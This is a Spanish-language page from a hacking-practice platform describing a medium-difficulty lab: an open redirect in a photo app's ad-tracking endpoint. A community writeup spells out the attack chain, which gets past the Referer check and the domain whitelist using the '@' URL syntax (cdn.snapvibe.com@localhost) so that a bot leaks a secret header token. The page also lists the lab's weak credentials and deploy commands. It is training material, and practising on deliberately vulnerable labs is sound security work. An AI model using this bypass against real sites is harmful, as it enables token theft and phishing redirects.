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  3. Open Redirect con Referer Check + Domain Bypass (@)
Medium$14030 min

Open Redirect con Referer Check + Domain Bypass (@)

By @gorka

Red social de fotos con endpoint de tracking publicitario vulnerable a open redirect. El endpoint valida Referer (bypass: publicar link en la plataforma) y dominio de destino (bypass: RFC 3986 @ syntax). Un bot clicka links de comentarios con un header secreto que contiene la flag

521 views17 completedUpdated Sep 2026
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Hackers who solved it· 8

3nk11
@3nk117 days ago
l1ghtn1ng2
@l1ghtn1ng19 days ago
kaneki3
@kanekiAug 2026
zynap
@zynapAug 2026
VA
@vazquezdv182005Jul 2026
flyingwhales
@flyingwhalesJul 2026
r4mattra
@r4mattraJul 2026
AL
@alex.burja.2000Jul 2026

Objectives

1
Explorar la app → descubrir posts patrocinados con tracking URLs
2
Analizar: /ads/tr?ci=X&e=sk&tu=https://cdn.snapvibe.com/...
3
Probar sin Referer → 401
4
Probar con Referer válido → 302 (funciona)
5
Probar tu=https://evil.com → 400 (dominio no whitelisted)
6
Bypass dominio: tu=http://cdn.snapvibe.com@localhost:9999 → 302!
7
Publicar link completo como comentario en una foto
8
Bot clicka → sigue redirect → llega a attacker con X-Secret-Token

Information

Platform
YesWeHack
Difficulty
Medium
Duration
30 min
Bounty
$140
Completed
17
Creator
gorka@gorka
Updated
Sep 2026

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Tools

BurpSuite

Prerequisites

  • Conocimientos sobre Open Redirect Básicos
  • Conocimientos sobre Headers

Tags

Open Redirect

Achievement you'll earn

Solve this lab to unlock this shareable achievement

BBLABS.ESLab Solved
Medium$140
// achievement_unlocked

Open Redirect con Referer Check + Domain Bypass (@)

Open Redirect
Sep 2026
gorka
solved_by@gorkaMember since Mar 2026
bblabs.es// real hacking practice

Community writeups

Cadena de ataque

1. Explorar la app → descubrir posts patrocinados con tracking URLs
2. Analizar: /ads/tr?ci=X&e=sk&tu=https://cdn.snapvibe.com/...
3. Probar sin Referer → 401
4. Probar con Referer válido → 302 (funciona)
5. Probar tu=https://evil.com → 400 (dominio no whitelisted)
6. Bypass dominio: tu=http://cdn.snapvibe.com@localhost:9999 → 302!
7. Publicar link completo como comentario en una foto
8. Bot clicka → sigue redirect → llega a attacker con X-Secret-Token
9. Flag: ......

Credenciales

Usuario Contraseña Rol
sarah_photo password123 user
mike_design password123 user
elena_travel password123 user

Despliegue

./autodeploy.sh
# o: docker compose up --build
# Acceder: http://localhost:1000

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